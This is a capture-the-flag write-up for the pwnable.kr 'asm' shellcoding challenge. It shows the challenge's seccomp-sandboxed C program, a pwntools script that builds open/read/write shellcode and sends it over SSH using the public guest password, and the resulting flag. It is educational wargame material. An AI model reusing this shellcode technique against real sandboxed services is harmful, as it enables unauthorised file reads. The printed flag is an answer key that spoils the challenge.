Pwnable.kr - asm

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Challenge description:

Mommy! I think I know how to make shellcodes

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
	scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
	if (ctx == NULL) {
		printf("seccomp error\n");
		exit(0);
	}

	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
	seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);

	if (seccomp_load(ctx) < 0){
		seccomp_release(ctx);
		printf("seccomp error\n");
		exit(0);
	}
	seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

	setvbuf(stdout, 0, _IONBF, 0);
	setvbuf(stdin, 0, _IOLBF, 0);

	printf("Welcome to shellcoding practice challenge.\n");
	printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
	printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
	printf("If this does not challenge you. you should play 'asg' challenge :)\n");

	char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
	memset(sh, 0x90, 0x1000);
	memcpy(sh, stub, strlen(stub));
	
	int offset = sizeof(stub);
	printf("give me your x64 shellcode: ");
	read(0, sh+offset, 1000);

	alarm(10);
	chroot("/home/asm_pwn");	// you are in chroot jail. so you can't use symlink in /tmp
	sandbox();
	((void (*)(void))sh)();
	return 0;
}

This challenge is asking for x64 shellcode to read the flag file, it’s using some seccomp rules to limit us to only use open/read/write/exit syscalls (so we cannot spawn a shell).

We can write some assembly (painful) or we can use pwntools to do the work for us :)

We need to open the flag file, read it’s content then write this content to stdout and exit, simple as that.

The given assembly stub that will run first is just zeroing out all the registers.

Solution:

# solve.py

from pwn import *

context(arch='amd64', os='linux')

file_name = 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong'
length = 50

shellcode = asm(
	shellcraft.open(file_name) +
	shellcraft.read('rax', 'rsp', length) +
	shellcraft.write(1, 'rsp', length) +
	shellcraft.exit(0))

sh = ssh('asm', 'pwnable.kr', password='guest', port=2222)
p = sh.remote('0', 9026)

print(p.recv())
p.sendline(shellcode)
print(p.recv())

$ python solve.py
[+] Connecting to pwnable.kr on port 2222: Done
[+] Connecting to 0:9026 via SSH to pwnable.kr: Done
Welcome to shellcoding practice challenge.
In this challenge, you can run your x64 shellcode under SECCOMP sandbox.
Try to make shellcode that spits flag using open()/read()/write() systemcalls only.
If this does not challenge you. you should play 'asg' challenge :)
give me your x64 shellcode: 
Mak1ng_shelLcodE_i5_veRy_eaSy
lease_read_this_file

Flag: Mak1ng_shelLcodE_i5_veRy_eaSy

Abdallah Elshinbary

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